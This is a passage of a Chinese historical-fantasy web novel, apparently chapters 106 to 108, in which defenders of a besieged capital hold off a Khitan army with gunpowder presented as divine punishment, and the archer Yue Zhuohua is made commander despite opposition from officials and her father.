什么叫做关键时刻? 这便是关键时刻啊! 但愿城内的人还没走完,不然的话,他即便手握火药这种大杀器,也无人可留作防守啊! 快马加鞭,一路往回赶,期间所有的马车基本上都是与他背道而驰的。 可即便紧赶慢赶,回到京都,杨舟万却依旧发现自己已经晚了一步,军器监早已经空荡荡,只剩残破的剑戟,而城内烧杀抢掠,已经乱做一团。 附近的邻居见到他,忙上前惊呼出声道。 “大人?您怎么还没离开?三皇子的人早已经出发了,许翰林没有通知您吗?” 许翰林? 想起那个自自己进入军器监后便始终不假辞色,对他没一句好话的人,杨舟万这才总算知晓了为什么大家都搬走了,他却没有得到消息的真正原因。 对于离开的官员批次,皇帝是如此安排的。 先走的,肯定是皇亲国戚、阁老大臣们;其次,则是五品以上的家眷亲朋;再然后,便是各党派亲近的官员士子们……百姓们愿意跟在身后的,不阻拦,但来不及离开的,也不管。 刘卜温、常仕进等人皆是新入朝的士子,自然被看重,跟在第二批次后面便离开了,可一些文人、边缘化的小官则消息不那么灵通了,在得知此事时,基本上朝堂上人已经走光,再磨蹭磨蹭,收拾收拾金银细软,通知通知亲戚岳家什么的,等晃过神来,已然错过了离开的最佳时机,直接被百姓们堵在了府内。 岳盛天便是其中一位。 不过他并不是因为边缘化或者官位低的原因,而是源于侥幸与贪婪之下做出的愚蠢判断。 起初世家秘密通知他,让他赶紧收拾东西,准备离京时,他认为那是危言耸听。 自己家女儿可是即将嫁入皇室的人,若真的前线出了问题,怎么也不可能漏了他们家才是,皇帝都没有急,他们急什么? 之后,朝中的大臣们相继离开,有人让他赶紧带着妻小往南逃,他看了眼依旧不动声色的贵妃娘娘与六皇子,认为应步调一致,万不能有那种仓皇惊悚的小家子气。 等收到消息,确定贵妃娘娘与六皇子早已经被暗中送出了京城,局势已然进入白热化后,他终于认清现状,慌张的准备离开。 可府中的东西,却一件也不愿意舍弃。 光是挑选,便花了好几日,等收拾出几大车箱,再想逃离时,前后府门已经被仇恨蒙蔽了双眼的百姓们层层围住。 领头的闲汉手中拿着锄头,一脸邪佞的笑道。 “这家可大有来头,听闻不仅是翰林院的官员,其女儿更是即将嫁给六皇子,府中肯定不缺宝贝,只要我们能抢了他们家的东西,一路逃出京城,谁还管什么天高皇帝远?” 底下的人绿幽幽看着那紧闭的府门,垂涎之色甚巨。 岳盛天带着家小一路躲在祠堂后门处,急的连忙踱步,道。 “这可如何是好啊,那群刁民们,只怕不肯善罢甘休。” 旁边的世家夫人口中抱怨,“我就说让你早些走,你看看,如今可怎么办啊?” 一群人焦急不已,怀中的小儿子更是惊惧的大哭不止。 岳盛天没有办法了,这才突然想起尚被关在绣楼上备亲的女儿岳灼华。 他眼睛一亮,忙喊道。 “快,快去叫灼华来!她从小便跟着柏弓良学武,一定能护着我们平安离开!” 如同抱住了一个金大腿一般,从前连刀枪都不让碰一下的女儿,此刻却成为了整个府里的所有希望。 为了说服对方,岳盛天甚至将整个府里最值钱的弓箭,直接塞进了岳灼华的手中。 “这乃是你母亲之前留下来的,只要你能够平安把我们送出城去,这东西,便是你的!” 岳灼华惊讶的抚摸着手里的弓箭纹路,险些落下泪来。 她一直被关在绣楼里,因此京都发生了什么,几乎一概不知,若不是此刻被叫出来,只怕还要被继续蒙在鼓里,直到契丹人打进来。 一把握住那把弓箭,岳灼华神色一厉,绽放出了截然不同的模样来。 “下面,要想活命,便按我说的来,让全府的男丁们皆拿起武器,有什么用什么,全部站在最外层,老弱妇孺手拉着手站在里圈,大家一起往外走。不要有任何人落队,车上的东西重的全部丢掉,最多你只能带两车的物品,否则的话,就都别想要了。我只给你一个时辰,一个时辰后,若是还没有准备好,我便默认你自动留下来。” 说罢,岳灼华转身回房收拾东西。 其他人愣了两秒后,迅速散开,拿包袱的拿包袱,卷铺盖的卷铺盖。 无一人敢反驳。 岳盛天脸色青了又红,红了又青,望着自己那五大车厢的物品,心痛的简直要疯掉。 可最后也不得不按照岳灼华说的那样做。 谁让人家才是整个府内武力值最高的呢? 等一个时辰过去,整个府里的人全部整装待发,门外,也隐隐传来了撞击的声音。 领头的闲汉指挥着人拿着木桩往门上怼,刚砸了两下,谁料府门便直接打开。 还未欣喜起来,破空处一箭直接射中领头之人的心脏。 那人瞪大了眼睛,缓缓倒下。 激起一地的尘土。 岳家宅院门口,岳灼华一身清丽的女装拿着弓箭站在了门槛处,冷漠的看着底下闹事的民众们。 “擅闯空门即为贼寇,按照大奉律令,主人可直接原地击杀。你们确定要在还未遇到契丹人之前,便先死在我的箭下吗?” 没想到文官的府邸,竟然还有如此擅武的女子,大家忙四散开来,不敢再闹。 弱肉强食,欺软怕硬,这是乱世的通病。 岳灼华凭借着手里的弓箭,一路畅通无阻,带着岳盛天等人便来到了城门之下。 可谁知,城门早已经被人所关闭。 门外,契丹的大军已包围了整座城池。 耶律休哥坐在高头大马上,傲视着所有人,以刀剑对准了城门之上的守城官,大喊道。 “降者不杀,若执意守城者,待我攻破城池,屠城三日,不死不休!” 不少还未逃出去的底层世家与官员们,见状齐聚在城门口处,嚷嚷着让守城的士兵们打开城门。 “放我们离开?没听到吗?降者不杀,我们不想死,不想死!” “谁说的要守城?皇帝都走了,我们凭什么守?我愿意投降!放我出去,让我投降!” “都让开,我乃五品大员,我命令你速开城门,护送我等出城!” …… 混乱的状况,令门口的士兵们节节败退,直到一声惊雷响起,大家这才彻底噤了声。 城门外,不少契丹士兵们被炸的人仰马翻。 杨舟万高站在城门之上,举起手对着下方的百姓们大喊道。 “是天罚,这是天罚!大家莫慌,有上天在帮着我们,契丹人闯不进来的,我们一定会平安无虞,度过这场浩劫!” “胡说什么乱七八糟的。”岳盛天骂骂咧咧打断道,让杨舟万快点打开城门,然而第二声惊雷再次响起,顿时震慑住了所有人。 远方,一座山丘被炸的四分五裂,耶律休哥惊慌失措的安抚着底下的士兵们,不自觉勒紧了手中的马匹。 “巫术,这是巫术啊!” 不少人窃窃私语道,顿时不敢再上前。 耶律休哥眯紧了眼,看着城门上的杨舟万,偏偏不信这个邪,道。 “装神弄鬼,不要相信他,汉人惯会一些小伎俩罢了,都是幌子,所有人,跟我上……” 然而话音还未落,一根引线被点燃,耶律休哥□□的马匹被巨大的爆炸声惊得掉头往回跑。 契丹士兵们慌张后退,踩踏无数,直到退出几百米开外,才停止了爆炸声。 大家惶惶不敢再上前,就连城内的百姓们一时间也举棋不定,不再喊着投降出去。 杨舟万望着底下的百姓们,默默咬紧了牙。 他也不想用这个办法。 可皇帝跑了,阁老溜了,世家逃了。 他若再不想办法唬住这些人,那这座城就彻底保不住了。 他可以退,但那些百姓们怎么退? 山长将火药方子交给他,一定是预料到了会有这么一日,他若没有物尽其用,守住这块地,等山长过来,一定会失望的。 他相信,山长一定会来。 所以,在山长到来之前,他会想办法撑下去,就如同那场蹴鞠赛一般。 第106章 第106章将将相对 虽掌管军器监一年多的时间,可杨舟万终究只是个文官,并非武将。 火药可以震慑住契丹,却无法令其退兵后撤。 而京城内,也并非铁板一块,各有各的利益与站位。 城内如今分为好几拨,有着以游侠、闲汉为代表的青壮势力,他们不为国家不为阶级,一心只想要趁着浑水摸鱼捞钱,唯恐事情不够大;还有着一部分则是难离故土拖家带口的百姓们,这群人数较多,可战斗力低微,虽与杨舟万目的一样,皆是为了誓守京城,不愿退缩,却具有极大的软弱性。再来,便是以世家、底层官员小吏为代表的求和派了,他们只愿平安度过危机,只要能将他们送出京城,保存财产与实力,哪怕是契丹人也可以合作,改朝换代不怕,给谁“打工”不是“打工”?因此这批人也是跪的最快的,甚至暗暗期待着京城沦陷的可能。 杨舟万凭借着火药的威势,一时间维持住了场面,也拉拢住了几个曾经打过交道,还未离开的武将们。 其中一位杨姓官员,目光清正,用的一手好尖木仓,原本乃是京都常备军的小队长,跟着皇帝离开京了的,因着调转回来接妻女,这才一同被困在了京都。 听到杨舟万的守城意图后,他第一个响应,迅速便凭借着关系拉起了一个百人小队来,帮着关闭城门,维持秩序,埋藏火药…… 可即便如此,也挡不住其他势力的威压。 徐将军的小儿子徐沐川因为伤了腿,尚未来得及离京,见到城门口关闭,顿时怒气冲冲的找到杨舟万处,嚷嚷着要个说法。 “谁准你关闭的城门?不过一个六品官罢了,你有什么资格不让我们离开?我命令你现在、立刻、马上开启城门,放我等出去!” 他才不要跟着这群傻子一起守城呢,他可是贵妃娘娘的亲侄子!六皇子的表兄! 杨舟万看着徐沐川一副趾高气昂的样子,无奈的解释道。 “徐大人,如今契丹兵临城下,大家都出不去,理应团结一心,抵抗外敌才对……即便是我开了城门放你走,你也走不了多远的。” “那你就派一队人护送我离开啊!”徐沐川理直气壮的讲道。 杨舟万沉默两秒,深呼吸了一口气,“抱歉,恕我无能为力。” 也许在徐沐川的眼中,整个京城的百姓加起来都不如他尊贵,可在杨舟万的眼里,即便如今皇帝在这儿,也比不上这么多平民百姓的命! 徐沐川气急败坏的威胁道。 “怎么,你难道是想要谋反不成?皇帝不在,按照官阶,我便是最大的!难道你们敢抗命不遵?” 杨舟万后退一步,死死握紧了拳。 然而营帐外,清晰的一句话反驳道。 “未必吧?若按照你这逻辑,那是否我的身份才是最大的呢?” 众人仓皇转身,岳盛天近乎瞠目结舌的看着身边发声的女儿,压低了声音,拉拽道。 “你在胡说什么?这等事情,哪里有你这女人说话的份儿?” 然而,岳灼华却并不理会,她甩开父亲,手拿着自己母亲的弓箭,一步步走到了最前方。 旁边的杨队长惊疑不定的看着她手里的弓箭,强行压下了自己所有的情绪。 “六皇子妃?” “岳姑娘?” 两道称呼同时响起,情绪却截然不同。 徐沐川更多的是一种被背叛般的难以置信,而杨舟万则是喜悦的惊呼声。 “太好了!没想到你竟然也在京城?” 一年多的邻居相处,杨舟万自然清楚岳灼华的武力值有多高,更何况他与对方几次三番的合作,不论是环县还是四皇子妃女儿的事情,都见到了其身上远胜于男性的那种冷静与智慧。 这个时候相遇,简直是最合适的同盟! 岳灼华只是看了他一眼,然后朗声开口道。 “特殊时期,特殊对待,我支持杨大人守城的决定,这个时候闹内讧,对任何人都不好,难道你们忘记了非我族类,其心必异的说法了吗?即便守不住,起码也得展示出坚持到最后一刻的决心才行,不然势必会受到契丹人的羞辱。” “可你能保障一定会守得住吗?他们可说了,降者不杀,若抗争到底,最后屠城可怎么办?” “为什么会认为守不住?我京都百姓百万之众,即便离开了大半,也有数十万人,难道还会对抗不了区区三万的契丹人?” 岳灼华一介女流,可身上所爆发出的威势,却令徐沐川也节节败退,说不出任何话来。 杨舟万看着聚集在一起的百姓们,严肃的承诺道。 “还请大家相信我,不要轻言放弃!我们能退一时,却退不了一世,若今日不战而退,那他日异族随意欺辱我们的妻儿,也无人能够再有反抗的资格!城在人在,城亡人亡,不到最后一刻,我绝不会离开!” “大家还请撑一撑,我相信,朝廷只是一时的紧迫腾不出手,援兵马上就会到的,只要我们坚持一段时间,一定会等到大家一起平安度过这场危机的时刻!” …… 杨舟万真心诚意的肺腑之言,令不少百姓们所动容。 “好,我支持誓守城门!” “我也支持!上天都说了,不准我们投降!若投降,肯定会降下来天罚的!” “没错,坚持住,陛下肯定会派人回来救我们的!” 被带偏的舆论方向,渐渐被掰正回来,京都内的局势也逐渐被平衡下来。 看着百姓们如同沸水般被点燃的情绪,徐沐川等人再不甘心,也只得败退离开。 京都内的安全事务由此被杨舟万等人所接管下来,而岳灼华则留在军营里,成为了其背后的隐形帮助者。 “说吧,那天罚到底怎么回事?” 营帐里,四下无人,岳灼华终于问出了自己疑惑许久的问题来。 她才不相信什么天罚之说呢,最大的可能便是杨舟万用了什么障眼法,达到了这种目的。 华夏书院的山长早就有传闻能够召唤雷电,为自己所用,难道这杨舟万,也学会了? 犹豫的思考了一瞬,杨舟万终究还是和盘托出,说出了火药的事。 这东西他虽能用,可却未必能用在刀刃上。岳灼华就不一样了,对方常年待在柏大将军的身边,浸淫武道,说不得也有带兵打仗的才能与天赋呢? 果然,岳灼华知晓那火药的杀伤力后,震撼不已。 她反复确认道,“真的有如此大的力量?你可试过了?不会是玩笑吧?” “怎么可能开玩笑,我在郊区外的庄子上已经尝试了多次,确认每一次的效果,都能够达到震碎一座山丘的地步!而且这还是没有加铁片的程度,若像是山长说的那样,在里面再加上铁片的话……” 那效果,可以说杀敌之利器! 多少契丹人来了,都不可能打得过! 热武器对于冷兵器来说,就是绝对的碾压,唯一可以钳制的, 不过是原材料的多少罢了。 岳灼华陷入了深深的思索中。 若真像他所说的这样,如此之物,那看来这京都,未必是保不住啊。 就是不知晓这童启到底什么来头了,竟然会藏着这么多东西,确定真的是文人吗? 哪个文人研究这种东西啊? 她对华夏书院的好奇简直涌上了一个新高度,而对于杨舟万所缺少的东西,也恰恰最为熟悉。 她想起什么,挑了挑眉道。 “你缺少硫磺是吧?恰好,我知道有个地方,拥有大批的硫磺之物。” 她双眼微亮,如同找到了自己最擅长的领域一般,将城东徐家的温泉山庄,指给了杨舟万等人。 而此刻,尚不知晓敌方正补给着大量武器的耶律休哥,正坐在营帐里,复盘着昨日的事情。 比起迷信,契丹人比汉人更甚。 原本耶律休哥也是不相信这种神神鬼鬼的,可这京都城,他分明提前派探子们前来搜查过,都没有看到任何机关啊? 怎么就突然降下雷电来了? 难不成……真的是天罚? 他令人将受伤的士兵们抬上来,一一查看着那鲜血淋漓的伤口,只见其豁口处的确有被炸伤燃烧的痕迹,可面积却十分巨大,靠近了,甚至还隐隐有股刺鼻的味道。 甫一见面,还没开打,便损失了他上百人,二十多匹战马。 这情况,简直前所未见。 耶律休哥想了想,索性让属下的人去叫文先生过来。 不消片刻,一个汉人打扮,文绉绉,身着灰色长衫,儒雅斯文的中年人,掀帘而入。 耶律休哥见状,忙起身行礼问道。 “文军师,昨日的天罚你可见了?那到底怎么回事?你们汉人真的有召唤雷电的力量不成?” 文熙净抚摸着自己的胡须,将一张华夏书院的招生简章摆放在了耶律休哥的桌案前。 “将军,您可知昨日站在城门上,大喊天罚的人是何人?” “何人?难不成,您认识?”耶律休哥忙问道。 文熙净摇了摇头,缓步入座,“我并不认识,但却听闻过其师长的声名。太后最喜爱的《范进中举》以及《定风波》的那首词,便是其亲手所出。而且,他还是造成西夏谈判的关键之人,如今西夏的小王子便生活在他创建的华夏书院中。传闻此人,有掌控雷电之力,生而知之,乃财神爷转世,实力深不可测……昨日那城门上站着的,便是他亲手收下的第一批学生,姓杨,名舟万。遇到他,您确实应该警惕一些。” 耶律休哥不明觉厉的听着,这才问道。 “所以,先生是怀疑,那什么天罚,乃是人所控制?” “定然。” “可若是那样的话,我们便更不可能靠近了?又要如何攻城呢?” 文熙净垂眸看着案上的东西,道,“谁说咱们就一定要攻城的?围而不杀,才是令他们真正手足全乱的方法。这京都里粮食稀少,撑不了多久,杨舟万乃一介文官,没有武将压着,注定是无法防守的,等他们懈怠下来,那才是真正大举入侵的好时机。” 耶律休哥听得眼中异彩连连,不断点头称是。 于是,第二日,京都的百姓们便发现他们的水源被切断了。 逃跑的世家、贵族们几乎带走了大半的粮食,城中储备的如今只将将够守城的将士们半月所用。 耶律休哥日日带着人在城下谩骂威胁,要求与守城官一对一打一场。 可城中无将,注定无人能够应战。 一名底层的将士气不过,独自骑马便闯了出去,然而还不到一个回合,便被斩于马下。 鲜血淋漓浇灌在城门口的土地上,就如同杀鸡儆猴一般,吓得城内的世家、官员们再次颤颤巍巍。 “这便是你们武将的实力吗?若如此,那我劝你们还是早日投降为好,不然等我攻破了城,定会让所有的百姓们为这座城陪葬!” 耶律休哥大笑着,掉头回到营帐之中,大吃大喝起来。 气的其他的守城士兵们脸红脖子粗。 杨舟万明知道这乃是激将法,可城内无武将是事实,也只能闭嘴不吭。 就这么持续了两三日,耶律休哥开始试探着提箭射杀城门上守城的士兵们,边射嘴上还边骂骂咧咧,叫嚣着让他们派武将出来,否则的话,便要开始放火准备烧城了。 一众百姓被气的捏紧了拳头,而岳灼华则拿着弓箭,一步步走上了城门,俯视着底下猖狂无比的人。 缓缓拉开了弓。 “咻”的一声,弓箭破空而来。 耶律休哥本能躲开,可却直接被射穿了肩膀上的铠甲。 他一双鹰隼般的眼睛迅速抬头望向城楼上的那个女子,可第二支箭,已经应声而来。 直指面部。 第107章 第107章女大将军 谁也没想到,满城武将,竟比不过一个女人所带来的威势。 两箭下去。 耶律休哥已经大声问了起来。 “城楼上何人,可敢报上名来?” 风止,旁边的军旗也缓缓静了下来。 岳灼华不语,只是从箭筒中再次抽出了三支箭,沉默的架在了箭槽中。 威慑十足。 城楼下,不少人近乎忐忑的看着岳灼华的动作,情不自禁的屏住了呼吸,小声道。 “她疯了吧?竟然想要三箭齐发?” “难不成她是打算就这么用弓箭,逼退敌军不成?” “何以至此,我们何以至此竟让一个女人上前应阵啊?” …… 仿佛被落下了面子,在场的男人们皆感到阵阵的尊严受挫,紧皱眉头仰望着那红色的石榴裙。 可城外,耶律休哥却因为这三只箭,忍不住悄然咽了口唾沫。 他尽力不去注意那三只箭的矛头对准的地方,缓缓架着马,在城门口绕了起来。 而城墙上的弓箭却并未挪开,只是一味的对准了对方的脑袋、眼睛,以及脖颈处。 无人知晓,其实柏家军最初是以善射闻名的,柏弓良之所以取名为此,很大程度上便是其祖父拥有一手好射术。后来,这手射术传给了岳灼华的母亲,听闻其状态最佳时,可三箭射断一颗成人合抱的柳树! 就连柏弓良柏大将军也难以胜出。 可惜,由于后来嫁人生子,囿于后宅,这射术也就失传了。 今日岳灼华重新拿回母亲的弓,从弓眼里注视着远方的人,心中也不由想起童年时,母亲清丽的教导声。 “射箭,靠的是心眼合一,并非手臂发力,而是背部!你要将自己想象成一只敏捷的豹子,缓缓盯紧对面的猎物,气沉丹田,呼—吸—呼—吸……不出手则已,一出,必要咬紧目标才行……” 岳灼华静下心,透过弓箭,看着远方的契丹人,一点点拉开了弓弦。 曾经在西夏,她本也有机会射中那小王子的,可惜,怕因此耽误朝政,影 响外交,她并未出手。 而这一次,契丹人率先攻城,出言挑衅,她若是一箭射杀,那应该不算逾矩吧? 凌厉的视线,逼人心魄。 远处文熙净大声喊道,“退!” 然而,已经来不及了。 一阵嗡鸣声,三只箭陡然射出。 耶律休哥瞳孔微缩,本能的用手中的环形刀抵挡开脖颈处的箭矢,可剩下两支,却如凿石一般狠狠嵌入了他的臂膀与头盔内。 “不好了,将军中箭了!” 随着一声契丹语,十几名小兵迅速冲上来将自家将军抬离,而城内的杨舟万却畅快大喊了一声“好!” “好!好!好!” 城门上,顿时欢呼一片,如同打了胜仗般,扬眉吐气。 而耶律休哥则躺在地上,双眼紧紧盯着那城墙上的女人。 头一次,他感到了,这人乃自己一生的真正对手。 傍晚,夜色微凉。 城门外大约几百米处,一群人小心翼翼的绕过巡逻的契丹人,观察着远方的城墙。 童启从包里掏出一只匆忙做出的望远镜,对准了城墙上的旗帜,见到是大奉朝军旗,这才悄然松了一口气。 “还好,我们紧赶慢赶,总算赶到了,如今京都还未易主,许是杨舟万他手里的东西发挥了作用。” “可关键我们现在如何进去呢?京都城城门紧闭,门外又有契丹人,若是暴露,只恐咱们反而成为了手中人质!” 童继本一脸担忧道。 边说边观察着周围的情况,无比警惕。 身后,李元昊、赵天阙、王小花等人皆放低了身子,双手捂着自己的口鼻,不敢发出任何声音。 他们一伙,不过才十几人,若对上契丹,那妥妥是送菜的,可不说明身份,又怎么能让城内的人放他们进去呢? 童启看着那巡逻的卫兵,悄然陷入了沉思中。 而此刻城内,一伙人正针对白日里岳灼华的行为,进行着批判与讨论。 “妇人不详,怎可上战场?” “荒唐,皇室若是知晓了……” “既为王子妃,理应恪守规矩,行止皆有条理才是……” 屋内小声的争论,透过门缝飘出,令岳灼华独自站在月色里,越发显得单薄。 她早有所察,即便那几箭射出,也不会有什么改变。 即便你是神射手又如何,即便满城皆无靠谱的武将,只剩她一个,那又如何? 大奉朝重文轻武,但更轻视女人,那完美继承了母亲的能力,对于她来说,不像是祝福,反倒更像是一种诅咒。 她静静的仰头,看着黑漆漆的天空,突然,一声尖锐的声响,如荧火流星般,窜上了天际。 一束巨大的烟花,陡然绽放在半空中。 照亮了她的脸颊,也照亮了整个夜色。 “什么情况?” “天罚,老天爷又降下惩罚了!” “躲起来,快躲起来!” …… 一片慌乱间,杨舟万匆匆走出,看着天边落下的萤火,双眼亮的发光。 “是山长!肯定是山长来了!杨大哥,快,带一些人马,跟我去城墙下迎接山长!” 山长? 难道是……华夏书院的童启,童山长吗? 营帐里所有人惊喜非常,谁也没想到朝廷竟真的会派有援军,他们有救了,有救了! 而与京都城内的欢呼声不同,城墙外不远处,契丹人的营帐里,此刻正为那天边的动静,恐慌不已。 “敌袭?敌袭!” “退,快退!” 许是PTSD,上次城门口炸死数人的阴影实在是过于沉重,整个阵营里的士兵们慌忙向后退去,嘶鸣的马叫声,踩踏声,哭泣恐慌的声音,不绝于耳。 耶律休哥头上、手臂上包扎着白布,一脸愤怒的走出,提起刀便直接砍杀了一个乱跑的士兵,大喊道。 “所有人原地不动,怕什么?谁敢啸营,杀无赦!” “不准慌!都不准给我慌!” 几声怒吼,整个营帐里的士兵们方慢慢冷静了下来。 军师文熙净匆匆走过来,面带急切道。 “方才那动静我已看过,并非京都城内,而是在城外,定是有他们援军来了,将军,还请速速带一批人马,前往拦截!” “什么?” 这说法,令耶律休哥惊讶了一瞬。 他一直以为大奉朝就是个软脚虾,即便打到城内,照样不敢放个屁来,连皇帝都跑光了,哪里还会有什么援军? 可谁能想到,竟真有人来啊! 柏弓良如今还尚在黄龙府,被四皇子牵绊着,其他人,又有何本领敢和他对战呢? 披上铠甲,耶律休哥带着人便按照军师提供的位置赶了过去,可临近城墙外,他又瞬间拉住了马匹来。 不对,这味道有点不对。 刺鼻、难闻。 他好像在哪里闻到过。 双眼骤然一紧。 “退,快退!!!” 他大喊道,掉过头,便带着人往外跑,可巨大的火光已经在其身后闪烁了起来。 引信点燃。 “轰隆”一声巨震,几乎近天响。 吓得几千米外的百姓、士兵们纷纷跪倒在地,口中保佑。 再看那城墙,已黑黢黢一片,只怕再临近些,都快有倒塌之势了。 童启离得远远的,双手紧捂住怀中赵天阙的耳朵,躲在城门口外,一脸的肉疼。 这可都是真金白银啊。 不同于杨舟万总是用小分量的炸药,力图节俭。 他手中除了烟花、鞭炮是特意做来观赏玩乐的,剩下的,可都是实打实的配置。 杀伤力十足。 即便不死,也得炸出个大坑出来。 漫天的泥土,四溅起巨大的烟尘,几乎让人看不清方向,而城楼上缓缓降下一个竹篮来,头顶上杨舟万激动不已的声音。 “山长!快,快坐竹篮上来!我就知道是你们来了!” 靠着独有的“印记”,童启与众人安全又高调的进入了京都城内。 而城外,不仅没抓到人,反被炸的伤势加重,耳朵嗡鸣不止,连晕了好几日的耶律休哥,也将这股怒气直接发泄到了身边的汉人俘虏身上。 几个伤痕累累的百姓被拖了出来。 他拿着鞭子使劲儿的抽打着。 “妈的,你们这群废物,没用的东西,汉人皆是无耻小人,只会耍这样的阴招,迟早,我要将他们全部屠杀干净,以慰今日之耻!” 旁边的文熙净面色微紧,忍不住握紧了拳,上前劝道。 “将军,如今缓缓图之是不行了,我有一计,可让他们再不敢使用此天降之物。” “哦?” 耶律休哥将手中的鞭子掷在地上,兴奋的上前来,听到文熙净的说法,忍不住浑身一凛。 “驱民为障。” 他轻飘飘说道,只四个字,便令对方有豁然开朗之感。 这实际上就等同于现代的肉盾战术,将百姓和俘虏的人驱赶到队伍最前方,去蹚雷、攻城、挡刀。 要炸,就让他们先炸自己人。 文人一向心软,对于百姓们更是下不了手。 而就在他们迟疑之间,便是他们攻城之时。 这方法,不可谓不毒,虽然早有,却很少有人用,因为实在是太伤天和,但契丹人嘛,天生就没有什么道德礼仪标准的,自然喜不自矜,认为找到了万全之法。 只说童启带着人进入京都城内,城内百姓及权贵们刚开始还十分欣喜。 夹道欢迎。 毕竟对方闹出如此大的动静,还以为是什么雄兵百万。 可真正进入才发现,竟然只有数十人,还大半是文人? 这不由令他们愤怒起来。 “什么啊,费这么大劲儿,就这十几个毛头小子?” “这个时候带小孩过来做什么啊?” “粮食,我们要的是粮食!朝廷没有发话吗?皇帝有没有说什么时候来救我们啊!” 叽叽喳喳的恐慌声,令童启忍不住侧目,可杨舟万与杨将军等人,却没有给他与百姓沟通的时间,如今人心混乱, 实在是不宜多言,因此只一路护着人,将他们送进京都府内,方才松了一口气。 “山长,您怎么会来?书院那里?” “书院没事,我留了谢君仪他们在,你这里什么情况,皇帝迁都,怎么竟有这么多人没有离开?” “别提了,我本来在城外庄子上实验火药的……” 有了童启,杨舟万瞬间就像是有了主心骨一般,一连串的将这些日子发生的事情给秃噜了出来。 童启边听边思考着,当听闻不少闲汉烧杀抢掠时,他眉头紧皱,当听到杨舟万与杨将军快速维护治安,关闭城门,又以火药作为天罚恐吓时,他忍不住夸赞了两句,而得知如今城内武将不丰,只剩一个岳灼华,其还是女孩子,可却有三箭射伤耶律休哥的本事,还一跃成为了如今整个京都的保护神时,他不禁面露惊讶之色。 “岳灼华?她怎么也在这里?” 不是说马上要和六皇子大婚了? 皇室竟然连她都没有带走吗? “好像是其父贪婪,收拾珠宝,因此耽误了。” 童启这才了然的点了点头。 “如今城内最要紧的还是要心齐,不能各自为政。我帮不了你多久,还得北上,前往谈判,听说如今城内如今缺粮,这样,我先给你出个计划,你将城内所有的权贵、商人先召集起来,能请的则请,不能请的便……” 杨舟万低头默默聆听着山长的教诲,几处想法,更是与其惊人的一致。 而旁边的李元昊和赵天阙侧耳听着,也没离开。 到激动处,更是强忍着,眼中异彩连连。(两小只:学到了!) 靠着童启的帮助,城内很快稳定下来。 百姓们惊讶的发现,虽然童山长没有带任何东西进来,可城内却一下子发生了许多惊讶的转变。 首先是不缺粮了,不少粮商、权贵一脸肉痛,也不知受了什么要挟,虽不想卖,却纷纷打开了仓房,将一袋袋的粮食给搬了出来。 其次,便是街道上没有任何闲散人员了,那些以往闹事的闲汉们,抓的抓,从军的从军,每日都有固定的人在街道上巡逻,遇到争吵打闹,便上前维护治安,一下子,城内竟比战争前还要更和平几分。 而军营里,杨舟万与童启勉强召集起了快一万多的青壮人士,当着他们的面,将军旗与虎符,直接交到了岳灼华的手中。 “这……” 她震惊的看着手里的物品,眼中难掩诧异。 底下的士兵们一阵质疑声。 议论纷纷。 从古至今,少有女将。 更别说阶级森严的大奉朝了,那更是几乎没有任何先例。 可童启不管,在他看来,能者居之。 “从今日起,便由岳姑娘掌管京都内的防御事宜。我代天子令,暂时授予岳姑娘步军都指挥使一职,望其保护城内的百姓,击退敌军!还请您莫要推辞!” “荒唐!这简直就是荒唐!” 徐府内,徐沐川一巴掌愤怒的拍在了桌子上,大怒道。 “这童启难不成是得了失心疯不成?城内这么多人,随便拉一个都能上去,何以将兵符递给一个女人?” 难道他们徐家便不算武将了吗? 他父亲可还在前线御敌呢! 怎么着的,派他也比派那什么岳灼华好吧? 旁边的小厮弱弱回道,“也不是随便都能上吧,毕竟能与契丹人一战的,满城里,好像也就岳姑娘一个人。” 当时对方三箭射中契丹人,多少百姓为之风采倾倒啊? 徐沐川一把拉扯住小厮的衣领,将其狠狠扯了过来。 “你在跟我顶嘴吗?” 小厮连忙吓得摇头,被一把推翻在地。 “这些可恶的文人。不行,我绝不能就这么眼睁睁的看着京都内,大权旁落。” 他喃喃道。 心中顿时起了一计。 比起不少权贵难以接受岳灼华担任将军,似乎,岳灼华的父亲对这个消息,还要比旁人更加激动一些。 他站在军营外,大声吵嚷骂道。 “牝鸡司晨,牝鸡司晨!从古至今,哪里有女子担任将军的?还是趁早清醒些,滚回家里来,不然,我们岳家的脸都被你这丫头给丢尽了!童启,你不要妄自做主,干涉政事!那么多人,凭什么就非得我女儿去,我不同意!这可是皇室的媳妇,未来的六皇子妃,怎么能和一群男人整天混在一起?这简直就是掘我们岳家的根啊!我不活了!岳灼华,你这不孝不悌的逆女,你敢上战场?你若敢上,我便生生世世永远不让你母亲的牌位进入祠堂,你可要想清楚了!” 一阵阵的威胁,传入童启与岳灼华的耳中。 他看着对方,轻声询问道。 “想好了吗?这个将军,你可要接?” 岳灼华抬眸看着眼前的人,微微滞了一下,终于还是接过了对方手中的军旗。 “我接。” 她坚定道。 毅然决然,选择了与自己母亲截然相反的一条路。 第108章 第108章六国之论 攘外必先安内。 童启与杨舟万的逻辑很简单。 先安定京都内的百姓们,再思考如何对付城门外的敌军。 只要众志成城,没有二五仔,即便外面是远胜于三倍他们的军力,也未必没有一搏之力。 更何况,他们还有火药。 在岳灼华答应下担任指挥使的第一日,童启便将火药方子共享给了她。 这玩意儿如今尚属于碾压级别,不用白不用。 反正战后,皇帝也必然会让他交出来的,既如此,躲躲藏藏,不如光明正大。 同时,他还将游击战的十六字真言悄悄教授给了岳灼华,让其若有需要时,可以自行使用。 毕竟这乃是经过历史检验的以少胜多经典方式。 果然,岳灼华在听完后,顿时如同彻悟一般,喃喃自语,全心全意揣摩了起来。 “敌进我退,敌驻我扰,敌疲我打,敌退我追……妙啊,实在是妙!” 对于打仗,童启或许不行,可对于理论,他比目前这个世界上所有的人都懂得多。 将一切交给杨舟万与岳灼华后,确定两个人没有任何任何忧虑之后,童启带着自己的人,继续北上,趁着夜色,悄然消失在了众人眼中。 而城外,耶律休哥也终于将军营里所有的汉人俘虏召集了起来,绑上手脚,捆成一排排,让他们挡在了队伍之前。 “都给我努力一些,往前冲,若是能够率先攻上城门,我便放过你们的家人,若是敢背叛逃跑,我就先把你们全家给砍杀了,听到了没有?” “是。” 奴隶们有气无力的应答着,垂丧着脑袋。 从他们被抓的第一天起,他们的生命似乎就没有第二条路了。 要么死,要么投敌。 总之都是活不了,那么还不如将仇恨发泄到本应营救他们的人身上。 谁也没想到一个文官也有上战场的一天。 这一刻,杨舟万无比感恩在华夏书院时风雨无阻的体力课,他已经算是体力不错的了,可对比起其他人,仍旧是还没跑几步,便气喘吁吁的程度。 